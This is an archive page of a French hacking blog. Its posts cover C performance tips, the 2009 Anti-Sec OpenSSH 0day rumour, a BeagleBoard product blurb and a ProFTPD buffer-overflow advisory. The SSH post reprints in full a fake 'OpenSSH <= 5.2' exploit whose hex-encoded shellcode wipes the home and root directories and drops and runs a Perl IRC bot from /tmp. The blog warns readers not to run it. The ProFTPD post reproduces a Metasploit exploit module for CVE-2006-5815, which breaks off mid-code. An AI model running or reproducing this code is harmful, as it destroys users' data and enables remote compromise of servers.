HackBBS
Programmation « HackBBS

Archive for the ‘Programmation’ Category

Hack en C

Wednesday, February 17th, 2010

Hack en C.

Cet article est consacré à ce que certains appellent le hack. Il ne s’agit pas pénétrer une n-ième fois dans le poste de travail d’une secrétaire du Pentagone mais de tirer le maximum de performance des processeurs actuels.

Ces processeurs sont devenus très complexes. Notamment le core P6 (le c ur du processeur lui-même) à la base des Pentium Pro, des PII avec le MMX et des PIII avec le MMX et le SSE (MMX pour nombres flottants), et des Celeron. Le Pentium 4 utilise un nouveau core encore plus spécial. Ces conseils s’appliquent également pour les autres processeurs comme l’Alpha ou le PowerPC.

Tout le monde utilise aujourd’hui gcc. Malheureusement, il n’est plus vraiment adapté pour garantir un maximum de performance. Par exemple, il ne sait pas encore gérer les instructions comme le MMX et le SSE, qui utilisent un format de données spécial (des paquets de nombres alignés en mémoire). Mais les structures de ces processeurs font que certaines manières de programmer permettent une accélération énorme des performances. Pour qu’un compilateur accélère le code, il faudrait qu’il comprenne ce que l’on cherche à faire (la sémantique). C’est ce que l’on appelle de la réécriture et c’est encore au stade de la recherche. Pour l’instant, il faut y aller à la main.

De ce fait, le code devient incroyablement complexe et tordu et donc parfaitement illisible. Il y a un certain nombre de règles à respecter pour que gcc s’en sorte le mieux possible. Il ne faut utiliser les autres ‘trucs’ qu’en dernier recours pour garder le code maintenable au maximum et compréhensible, voire portable, si on utilise du code assembleur.

Il ne faut pas oublier non plus que l’algorithme retenu détermine les performances de l’application en premier lieu. Un meilleur codage peut faire gagner un facteur 10, un meilleur algorithme un facteur 1000.

The Big Bang - Hack someone…or something - Anti-sec versus SSH …

Friday, December 4th, 2009

The Big Bang - Hack someone…or something - Anti-sec versus SSH ….

En effet, une semaine dèjà, que cour la rumeur sur une éventuelle faille touchant SSH.

En réalité, Eric Romang, co-fondateur du site zataz, avait deja en Juin dernier mis en avant le fait d’une augmentation massive des scan SSH et de brutes forces. [Ici].
Un moi plus tard, un groupe de hacker nommé Anti-Sec, à annoncé un 0day touchant SSH. En effet, la société d’hébergement OVH a envoyé a tous ces clients un courrier electronique
d’information concernant cette éventuelle alerte. [Message d'OVH ici].

Voici les résultats montré par les logs de serveurs attaqué : ICI

Cette article pertinent concernant l’attaque, montre qu’un FAKE Sploit est de sortie … des petits plaisantins se sont amusé a réaliser un fakecode qui une fois compilé et lancé,
efface des éléments systèmes de la machine.

Oui mais voilà, Anti-Sec tape, et tape même fort. Ils auraient utilisé ce 0day a des fins d’hacktivisme… c’est le site imageshack qui s’est vue remplacé toutes ces images
par un message type image:

imageshack owned

Un coup dur pour ce site d’hébergement d’image reconnu internationnalement. Voici d’ailleur leur première déclaration … [ICI].

C’est donc leur IDS qui a permis de corriger la faille rapidement. (Vrai…pas vrai ?)

Bref, une autre victime de cette attaque particulièrement efficace… voici d’ailleur d’autres logs très interessant sur l’attaque: [ICI].

Mais des hackers en cache d’autres… un FAKE de ce 0day circule actuellement sur des sites underground, et des cannaux IRC du même type,
le voici en intégrale, mais avant de vous lancer dans la compilation et l’éxécution de ce faux sploit, vous devez savoir que le shellcode une fois traduis donne ceci:

rm -rf ~ /* 2> /dev/null &

Autrement dit, vous n’avez plus qu’a formater ^^


/* 0pen0wn.c by anti-sec group
 * ---------------------------
 * OpenSSH <= 5.2 REMOTE (r00t) EXPLOIT.
 *
 *
 * Takes advantage of an off-by-one
 * bug in mapped authentication space on system
 */
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include 

#define VALID_RANGE 0xb44ffe00
#define build_frem(x,y,a,b,c) a##c##a##x##y##b

char jmpcode[] =
    "\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"
    "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26";

char shellcode[] =
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x0a\x24\x6b\x65"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
        "\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
        "\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
        "\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
        "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
        "\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
        "\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
        "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
        "\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
        "\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
        "\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
        "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
        "\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
        "\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
        "\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
        "\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
        "\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
        "\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
        "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
        "\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
        "\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
        "\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
        "\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
        "\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
        "\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
        "\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
        "\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"
        "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
        "\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
        "\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
        "\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
        "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
        "\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
        "\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
        "\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
        "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a";

char fbsd_shellcode[] =
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
        "\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
        "\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
        "\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
        "\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
        "\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
        "\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
        "\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
        "\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
        "\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"
        "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
        "\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
        "\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
        "\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
        "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
        "\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
        "\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
        "\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
        "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
        "\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
        "\x7d\x7d\x23\x63\x68\x6d\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70"
        "\x2f\x68\x69\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b"
        "\x2f\x74\x6d\x70\x2f\x68\x69\x0a";
#define SIZE 0xffffff
#define OFFSET 131
#define fremote build_frem(t,e,s,m,y)

void usage(char *arg){
        printf("\n[+] 0pen0wn 0wnz Linux/FreeBSD\n");
        printf("  Usage: %s -h  -p port\n",arg);
        printf("  Options:\n");
        printf("  \t-h ip/host of target\n");
        printf("  \t-p port\n");
        printf("  \t-d username\n");
        printf("  \t-B memory_limit 8/16/64\n\n\n");
}

#define FD 0x080518fc
#define BD 0x08082000

int main(int argc, char **argv){
    FILE *jmpinst;
    char h[500],buffer[1024];fremote(jmpcode);char *payload, *ptr;
    int port=23, limit=8, target=0, sock;
    struct hostent *host;
    struct sockaddr_in addr;

    if (geteuid()) {
    puts("need root for raw socket, etc...");
    return 1;
    }

    if(argc < 3){
        usage(argv[0]);
        return 1;
    }

    printf("\n  [+] 0wn0wn - by anti-sec group\n");

       if (!inet_aton(h, &addr.sin_addr)){
        host = gethostbyname(h);
        if (!host){
            printf("  [-] Resolving failed\n");
            return 1;
        }
        addr.sin_addr = *(struct in_addr*)host->h_addr;
    }

    sock = socket(PF_INET, SOCK_STREAM, 0);
    addr.sin_port = htons(port);
    addr.sin_family = AF_INET;
    if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){
        printf("  [-] Connecting failed\n");
        return 1;
    }
    payload = malloc(limit * 10000);
    ptr = payload+8;
    memcpy(ptr,jmpcode,strlen(jmpcode));
    jmpinst=fopen(shellcode+793,"w+");
    if(jmpinst){
        fseek(jmpinst,0,SEEK_SET);
        fprintf(jmpinst,"%s",shellcode);
        fclose(jmpinst);
    }
    ptr += strlen(jmpcode);
    if(target != 5 && target != 6){
        memcpy(ptr,shellcode,strlen(shellcode));
        ptr += strlen(shellcode);
        memset(ptr,'B',limit * 10000 - 8 - strlen(shellcode));
    }
    else{
        memcpy(ptr,fbsd_shellcode,strlen(fbsd_shellcode));
        ptr += strlen(fbsd_shellcode);
        memset(ptr,'B',limit * 10000 - 8 - strlen(fbsd_shellcode));
    }
    send(sock,buffer,strlen(buffer),0);
    send(sock,ptr,3750,0);
    close(sock);
    if(connect(sock, (struct sockaddr*)&addr, sizeof(addr))  == -1) {
        printf("  [-] connecting failed\n");
    }

    payload[sizeof(payload)-1] = '\0';
    payload[sizeof(payload)-2] = '\0';
    send(sock,buffer,strlen(buffer),0);
    send(sock,payload,strlen(payload),0);
    close(sock);
    free(payload);
    addr.sin_port = htons(6666);
    if(connect(sock, (struct sockaddr*)&addr, sizeof(addr))  == 0) {
                   /* v--- our cool bar that says: "r0000000t!!!" */
        printf("\n  [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]\n\n");
        fremote("PS1='sh-3.2#' /bin/sh");
    }
    else
        printf("  [-] failed to exploit target :-(\n");
    close(sock);
    return 0;
}


N’éxécutez donc surtout pas ce code … !! (Posté ici a but informatif, ne vous faites pas avoir … !)

Pour revenir au sujet, voilà que la team Anti-Sec semble une fois de plus avoir frappé. Après le moteur de crack Astalavista.box.sk, SSANZ et imageshack,
c’est au tour du site blackHat Forums de payé les pots cassés.
A l’heure ou j’écris cet article, l’accès au site ne mène qu’au visionnage d’une video particulièrement choquante (Scato…).

BeagleBoard.org - hardware

Thursday, December 3rd, 2009

BeagleBoard.org - hardware.

Product Details

The USB-powered Beagle Board is a low-cost, fan-less single board computer that unleashes laptop-like performance and expandability without the bulk, expense, or noise of typical desktop machines.

OMAP3530 processor highlights:

  • Over 1,200 Dhrystone MIPS using the superscalar ARM Cortex-A8 with highly accurate branch prediction and 256KB L2 cache running at up to 600MHz
  • OpenGL© ES 2.0 capable 2D/3D graphics accelerator capable of rendering 10 million polygons per second
  • HD video capable TMS320C64x+ DSP for versatile signal processing at up to 430MHz
  • USB power via complete chip-set with minimal additional power-consuming logic

Expansion capability and power options to satisfy your imagination:

  • DVI-D for connecting digital computer monitors
  • Compatibility with a huge collection of USB peripherals including hubs, keyboards, mice, WiFi, Bluetooth, web cameras, and much more
  • MMC+/SD/SDIO interface for memory or wireless connectivity
  • S-Video out for connecting your NTSC or PAL television or wearable visor
  • Stereo audio in and out for a microphone and headphones or speakers
  • Power via typical USB chargers for cell phones from your laptop, from an automobile adapter, from batteries, or even from a solar backpack

Exploit ProFTPD remote buffer overflow vulnerability

Monday, January 12th, 2009
Name:         ProFTPD remote buffer overflow vulnerability
Vendor:       http://www.proftpd.org
Release date: 27 Nov, 2006
URL:          http://www.gleg.net/proftpd.txt
CVE:          CVE-2006-5815
Author:       Evgeny Legerov <research@gleg.net>

I. DESCRIPTION

A remotely exploitable stack overflow vulnerability has been found in ProFTPD server.
The vulnerability allows a remote authenticated attacker to gain root privileges.

II. DETAILS

The vulnerability exists in sreplace() function from src/support.c
Oversimplified analysis of the vulnerability is below:

"""
char *sreplace(pool *p, char *s, ...) {
  va_list args;
  char *m,*r,*src = s,*cp;
  char **mptr,**rptr;
  char *marr[33],*rarr[33];
  char buf[PR_TUNABLE_PATH_MAX] = {'\0'}, *pbuf = NULL;
  size_t mlen = 0, rlen = 0, blen;
  int dyn = TRUE;

  cp = buf;
  *cp = '\0';

  memset(marr, '\0', sizeof(marr));
  memset(rarr, '\0', sizeof(rarr));
  blen = strlen(src) + 1;

  va_start(args, s);

  while ((m = va_arg(args, char *)) != NULL && mlen < sizeof(marr)-1) {
    char *tmp = NULL;
    size_t count = 0;

    if ((r = va_arg(args, char *)) == NULL)
      break;

    /* Increase the length of the needed buffer by the difference between
     * the given match and replacement strings, multiplied by the number
     * of times the match string occurs in the source string.
     */
    tmp = strstr(s, m);
    while (tmp) {
      pr_signals_handle();
      count++;
      /* Be sure to increment the pointer returned by strstr(3), to
       * advance past the beginning of the substring for which we are
       * looking.  Otherwise, we just loop endlessly, seeing the same
       * value for tmp over and over.
       */
      tmp += strlen(m);
      tmp = strstr(tmp, m);
    }

    /* We are only concerned about match/replacement strings that actually
     * occur in the given string.
     */
    if (count) {
      blen += count * (strlen(r) - strlen(m));
      marr[mlen] = m;
      rarr[mlen++] = r;
    }
  }

  va_end(args);

  /* Try to handle large buffer situations (i.e. escaping of
 * PR_TUNABLE_PATH_MAX
   * (>2048) correctly, but do not allow very big buffer sizes, that may
   * be dangerous (BUFSIZ may be defined in stdio.h) in some library
   * functions.
   */
#ifndef BUFSIZ
# define BUFSIZ 8192
#endif
  if (blen < BUFSIZ)
[1]  cp = pbuf = (char *) pcalloc(p, ++blen);

  if (!pbuf) {
[2]  cp = pbuf = buf;
    dyn = FALSE;
    blen = sizeof(buf);
  }

  while (*src) {
    for (mptr = marr, rptr = rarr; *mptr; mptr++, rptr++) {
      mlen = strlen(*mptr);
      rlen = strlen(*rptr);

      if (strncmp(src, *mptr, mlen) == 0) {
[3]     sstrncpy(cp, *rptr, blen - strlen(pbuf));
        if (((cp + rlen) - pbuf + 1) > blen) {
          pr_log_pri(PR_LOG_ERR,
                  "WARNING: attempt to overflow internal ProFTPD buffers");
          cp = pbuf + blen - 1;
          goto done;

        } else {
          cp += rlen;
        }

        src += mlen;
        break;
      }
    }
    if (!*mptr) {
[4]    if ((cp - pbuf + 1) > blen) {
         pr_log_pri(PR_LOG_ERR,
                "WARNING: attempt to overflow internal ProFTPD buffers");
         cp = pbuf + blen - 1;
      }
      *cp++ = *src++;
    }
  }

 done:
  *cp = '\0';

  if (dyn)
    return pbuf;

  return pstrdup(p, buf);
}
"""

First of all, the value of 'blen' is controlled by us, if we set it to a
value which less than BUFSIZ  (see [1]) - we can trigger heap overflow, otherwise
we will be able to trigger stack overflow (see [2]). 

Because of miscalculation on line [4], we can overwrite last (NULL) byte of
'pbuf' - so that 'strlen(pbuf)' will be greater than 'blen'.
The code on line [3] will overwrite the 'pbuf' buffer with our data because
the 'sstrncpy' function works just nice when the third argument is negative.

At least two vectors exist for this vulnerability:
1. MKD command
2. pr_display_file

The included proof of concept exploit code uses the second attack vector.
Write access is necessary for this exploit to work.

III. VENDOR RESPONSE

The vendor has released 1.3.0a version which addresses this issue.

For more info about the newest version of ProFTPD and possible workarounds please visit:
http://www.proftpd.org
http://bugs.proftpd.org/show_bug.cgi?id=2858

IV. CREDIT

The vulnerability has been discovered by Evgeny Legerov.

V. EXPLOIT

# vd_proftpd.pm - Metasploit module for ProFTPD stack overflow
#
# Copyright (c) 2006 Evgeny Legerov
#
# Permission to use, copy, modify, and distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this permission notice appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

use strict;

package Msf::Exploit::vd_proftpd;
use base "Msf::Exploit";
use Pex::Text;

my $advanced = { };

my $info =
{
	"Name"      => "[0day] ProFTPD 1.3.0 stack overflow",
    	"Version"   => "\$Revision: 1.1 \$",
    	"Authors"   => ["Evgeny Legerov"],
    	"Arch"      => ["x86"],
    	"OS"        => ["linux"],
    	"Priv"      => 1,
    	"UserOpts"  =>
                {
                	"RHOST" => [1, "ADDR", "The target address"],
                    	"RPORT" => [1, "PORT", "The target port", 21],
     			"USER"  => [1, "DATA", "Username", "ftp"],
                	"PASS"  => [1, "DATA", "Password", "ftp123"],
                	"DIR"   => [0, "DATA", "Writeable directory", ""],
                },

    	"Description" => Pex::Text::Freeform(q{
This is a proof of concept exploit for src/support.c:sreplace stack overflow.

The off-by-one heap overflow bug in proftpd's sreplace function has been discovered about
2 (two) years ago by Evgeny Legerov. We tried to exploit this off-by-one bug via MKD command, but failed.
We did not work on this bug since then.

Actually, there are exists at least two bugs in sreplace function,
one is the mentioned off-by-one heap overflow bug the other is stack overflow
via 'sstrncpy(dst,src,negative argument)'.

We were unable to reach the sreplace stack overflow bug on ProFTPD 1.2.10 stable version,
but the version 1.3.0rc3 introduced some interesting changes, among them:
1. another (integer) overflow in sreplace!
2. now it is possible to reach sreplace stack overflow via pr_display_file!
3. stupid '.message' file display bug

So we decided to choose ProFTPD 1.3.0 as a target for our exploit.
To reach the bug, you need to upload a specially created .message file to a writeable directory,
then do "CWD <writeable directory>" to trigger the invocation of sreplace function.

Note that ProFTPD 1.3.0rc3 has introduced a stupid bug: to display '.message' file
you also have to upload a file named '250'. ProFTPD 1.3.0 fixes this bug.

The exploit is a part of VulnDisco Pack since Dec 2005.
		}),

   	"Payload" =>
        	{
                "Space"     => 900,
                "Keys"      => ["+bind"],
		"BadChars" => "\%\r\n\x00"
          	},

        "DefaultTarget"  => 0,
        "Targets"        =>
         	[
        		["ProFTPD 1.3.0 (source install) / Debian 3.1",
                        	# objdump -D proftpd|grep call|grep edx
                                0x804afc8,
                                # nm proftpd|grep permanent_pool
                                0x80b59f8
			]

         	],

        "Keys"           => ["vd_proftpd"],
};

sub new	{
	my $class = shift;
	return $class->SUPER::new({"Info" => $info, "Advanced" => $advanced}, @_);
}

sub Exploit {
	my $self = shift;
        my $host = $self->GetVar("RHOST");
        my $port = $self->GetVar("RPORT");
	my $writedir = $self->GetVar("DIR");
	my $bind_port = $self->GetVar("LPORT");
	my $target = $self->Targets->[$self->GetVar("TARGET")];
	my $encodedPayload = $self->GetVar("EncodedPayload");
        my $shellcode   = $encodedPayload->Payload;

      	my $sock = Msf::Socket::Tcp->new("PeerAddr" => $host, "PeerPort"  => $port);
        if ($sock->IsError) {
                $self->PrintLine("Error creating socket: " . $sock->GetError);
                return;
        }

	my $res = $sock->Recv(-1, 20);
        if (!$res) {
